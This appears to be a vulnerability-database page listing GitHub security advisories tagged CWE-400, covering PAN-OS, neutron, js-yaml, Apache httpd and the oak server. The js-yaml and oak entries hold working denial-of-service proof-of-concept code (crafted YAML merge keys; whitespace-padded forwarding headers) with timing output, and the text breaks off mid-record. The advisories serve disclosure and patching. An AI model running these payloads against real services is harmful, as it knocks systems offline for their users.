Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6465 vulnerabilities reference this CWE, most recent first.

GHSA-R3J6-H9RM-9Q33

Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2025-10-22 00:32
VLAI
Details

A PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks. The DoS attack would appear to originate from a Palo Alto Networks PA-Series (hardware), VM-Series (virtual) and CN-Series (container) firewall against an attacker-specified target. To be misused by an external attacker, the firewall configuration must have a URL filtering profile with one or more blocked categories assigned to a source zone that has an external facing interface. This configuration is not typical for URL filtering and, if set, is likely unintended by the administrator. If exploited, this issue would not impact the confidentiality, integrity, or availability of our products. However, the resulting denial-of-service (DoS) attack may help obfuscate the identity of the attacker and implicate the firewall as the source of the attack. We have taken prompt action to address this issue in our PAN-OS software. All software updates for this issue are expected to be released no later than the week of August 15, 2022. This issue does not impact Panorama M-Series or Panorama virtual appliances. This issue has been resolved for all Cloud NGFW and Prisma Access customers and no additional action is required from them.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-0028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-406"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-10T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks. The DoS attack would appear to originate from a Palo Alto Networks PA-Series (hardware), VM-Series (virtual) and CN-Series (container) firewall against an attacker-specified target. To be misused by an external attacker, the firewall configuration must have a URL filtering profile with one or more blocked categories assigned to a source zone that has an external facing interface. This configuration is not typical for URL filtering and, if set, is likely unintended by the administrator. If exploited, this issue would not impact the confidentiality, integrity, or availability of our products. However, the resulting denial-of-service (DoS) attack may help obfuscate the identity of the attacker and implicate the firewall as the source of the attack. We have taken prompt action to address this issue in our PAN-OS software. All software updates for this issue are expected to be released no later than the week of August 15, 2022. This issue does not impact Panorama M-Series or Panorama virtual appliances. This issue has been resolved for all Cloud NGFW and Prisma Access customers and no additional action is required from them.",
  "id": "GHSA-r3j6-h9rm-9q33",
  "modified": "2025-10-22T00:32:35Z",
  "published": "2022-08-11T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0028"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2022-0028"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-0028"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R3JH-QHGJ-GVR8

Vulnerability from github – Published: 2023-07-25 15:30 – Updated: 2023-07-31 18:59
VLAI
Summary
Denial of service in neutron
Details

An uncontrolled resource consumption flaw was found in openstack-neutron. This flaw allows a remote authenticated user to query a list of security groups for an invalid project. This issue creates resources that are unconstrained by the user's quota. If a malicious user were to submit a significant number of requests, this could lead to a denial of service.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "neutron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "22.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-3637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-25T19:24:57Z",
    "nvd_published_at": "2023-07-25T13:15:10Z",
    "severity": "MODERATE"
  },
  "details": "An uncontrolled resource consumption flaw was found in openstack-neutron. This flaw allows a remote authenticated user to query a list of security groups for an invalid project. This issue creates resources that are unconstrained by the user\u0027s quota. If a malicious user were to submit a significant number of requests, this could lead to a denial of service.",
  "id": "GHSA-r3jh-qhgj-gvr8",
  "modified": "2023-07-31T18:59:51Z",
  "published": "2023-07-25T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3637"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4283"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-3637"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2222270"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in neutron"
}

GHSA-R3PH-W7GJ-G6XM

Vulnerability from github – Published: 2026-09-29 17:57 – Updated: 2026-09-29 17:57
VLAI
Summary
js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s

Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T17:57:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: \u0026arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - \u003c\u003c: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = 20000\n\nconst src =\n  \u0027arr: \u0026arr [\u0027 + \u0027{},\u0027.repeat(n).slice(0, -1) + \u0027]\\n\u0027 +\n  \u0027targets:\\n\u0027 +\n  \u0027  - \u003c\u003c: *arr\\n\u0027.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.",
  "id": "GHSA-r3ph-w7gj-g6xm",
  "modified": "2026-09-29T17:57:39Z",
  "published": "2026-09-29T17:57:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources"
}

GHSA-R3PV-69HM-FCJW

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2025-04-11 03:50
VLAI
Details

The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-3192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-08-29T15:55:00Z",
    "severity": "HIGH"
  },
  "details": "The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.",
  "id": "GHSA-r3pv-69hm-fcjw",
  "modified": "2025-04-11T03:50:08Z",
  "published": "2022-05-13T01:09:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3192"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r75cbe9ea3e2114e4271bbeca7aff96117b50c1b6eb7c4772b0337c1f%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r75cbe9ea3e2114e4271bbeca7aff96117b50c1b6eb7c4772b0337c1f@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8828e649175df56f1f9e3919938ac7826128525426e2748f0ab62feb%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8828e649175df56f1f9e3919938ac7826128525426e2748f0ab62feb@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9ea3538f229874c80a10af473856a81fbf5f694cd7f471cc679ba70b%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9ea3538f229874c80a10af473856a81fbf5f694cd7f471cc679ba70b@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb9c9f42dafa25d2f669dac2a536a03f2575bc5ec1be6f480618aee10%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb9c9f42dafa25d2f669dac2a536a03f2575bc5ec1be6f480618aee10@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdca61ae990660bacb682295f2a09d34612b7bb5f457577fe17f4d064%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdca61ae990660bacb682295f2a09d34612b7bb5f457577fe17f4d064@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re2e23465bbdb17ffe109d21b4f192e6b58221cd7aa8797d530b4cd75%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re2e23465bbdb17ffe109d21b4f192e6b58221cd7aa8797d530b4cd75@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfbaf647d52c1cb843e726a0933f156366a806cead84fbd430951591b%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfbaf647d52c1cb843e726a0933f156366a806cead84fbd430951591b@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14762"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14824"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A18827"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=732928"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/69396"
    },
    {
      "type": "WEB",
      "url": "https://help.ecostruxureit.com/display/public/UADCE725/Security+fixes+in+StruxureWare+Data+Center+Expert+v7.6.0"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/bugzilla/show_bug.cgi?id=51714"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/f7f95ac1cd9895db2714fa3ebaa0b94d0c6df360f742a40951384a53%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/f7f95ac1cd9895db2714fa3ebaa0b94d0c6df360f742a40951384a53@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0276683d8e1e07153fc8642618830ac0ade85b9ae0dc7b07f63bb8fc%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0276683d8e1e07153fc8642618830ac0ade85b9ae0dc7b07f63bb8fc@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1d201e3da31a2c8aa870c8314623caef7debd74a13d0f25205e26f15%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1d201e3da31a2c8aa870c8314623caef7debd74a13d0f25205e26f15@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2cb985de917e7da0848c440535f65a247754db8b2154a10089e4247b%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2cb985de917e7da0848c440535f65a247754db8b2154a10089e4247b@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r57608dc51b79102f3952ae06f54d5277b649c86d6533dcd6a7d201f7%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r57608dc51b79102f3952ae06f54d5277b649c86d6533dcd6a7d201f7@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5f9c22f9c28adbd9f00556059edc7b03a5d5bb71d4bb80257c0d34e4%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5f9c22f9c28adbd9f00556059edc7b03a5d5bb71d4bb80257c0d34e4@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r688df6f16f141e966a0a47f817e559312b3da27886f59116a94b273d%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r688df6f16f141e966a0a47f817e559312b3da27886f59116a94b273d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/fulldisclosure/2011-08/0285.html"
    },
    {
      "type": "WEB",
      "url": "http://blogs.oracle.com/security/entry/security_alert_for_cve_2011"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/Security-announce/2011//Oct/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00010.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-11/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-11/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3c20110824161640.122D387DD%40minotaur.apache.org%3e"
    },
    {
      "type": "WEB",
      "url": "http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3c20110824161640.122D387DD@minotaur.apache.org%3e"
    },
    {
      "type": "WEB",
      "url": "http://mail-archives.apache.org/mod_mbox/httpd-dev/201108.mbox/%3cCAAPSnn2PO-d-C4nQt_TES2RRWiZr7urefhTKPWBC1b+K1Dqc7g%40mail.gmail.com%3e"
    },
    {
      "type": "WEB",
      "url": "http://mail-archives.apache.org/mod_mbox/httpd-dev/201108.mbox/%3cCAAPSnn2PO-d-C4nQt_TES2RRWiZr7urefhTKPWBC1b+K1Dqc7g@mail.gmail.com%3e"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=131551295528105\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=131731002122529\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=132033751509019\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=133477473521382\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=133951357207000\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=134987041210674\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/74721"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2011/Aug/175"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45606"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45937"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46000"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46125"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46126"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1025960"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT5002"
    },
    {
      "type": "WEB",
      "url": "http://www.apache.org/dist/httpd/Announcement2.2.html"
    },
    {
      "type": "WEB",
      "url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080b90d73.shtml"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/17696"
    },
    {
      "type": "WEB",
      "url": "http://www.gossamer-threads.com/lists/apache/dev/401638"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/405811"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:130"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2013:150"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/alert-cve-2011-3192-485304.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/cpujan2012-366304.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/cpujul2012-392727.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/cpuoct2011-330135.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1245.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1294.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1300.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1329.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1330.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1369.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/49303"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1199-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-R3V7-PC4G-7XP9

Vulnerability from github – Published: 2025-08-12 00:15 – Updated: 2025-08-12 00:15
VLAI
Summary
Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers
Details

Summary

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code

  • https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
  • https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

PoC

  • setup
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
  • server.ts
import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });
  • client.ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];

        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
  • run
deno run --allow-net server.ts
deno run --allow-net client.ts

[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms

[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms

Impact

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Similar Issues

  • https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
    • https://github.com/denoland/deno/pull/17722
  • https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
    • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oakserver/oak"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "14.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T00:15:00Z",
    "nvd_published_at": "2025-08-09T02:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted value of the\u00a0`x-forwarded-proto` or `x-forwarded-for` headers, it\u0027s possible\u00a0to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) =\u003e {\n\n    // let url = ctx.request.url   // test1) x-forwarded-proto\n    let ips = ctx.request.ips   // test2) x-forwarded-for\n    console.log(`request ${i} received`)\n    i++;\n    ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l =\u003e \u0027A\u0027 + \u0027A\u0027.repeat(l) + \u0027A\u0027);\nconst data2 = lengths.map(l =\u003e \u0027A\u0027 + \u0027 \u0027.repeat(l) + \u0027A\u0027);\n\nasync function run(data) {\n    for (let i = 0; i \u003c data.length; i++) {\n        let d = data[i];\n        \n        const start = performance.now();\n\n        await fetch(\"http://localhost:8080\", {\n            headers: {\n                // \"x-forwarded-proto\": d,  // test1)\n                \"x-forwarded-for\": d,    // test2)\n            },\n        });\n\n        const end = performance.now();\n        console.log(\u0027length=%d, time=%d ms\u0027, d.length, end - start);\n    }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the\u00a0`x-forwarded-proto` or `x-forwarded-for` headers\u00a0 can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- 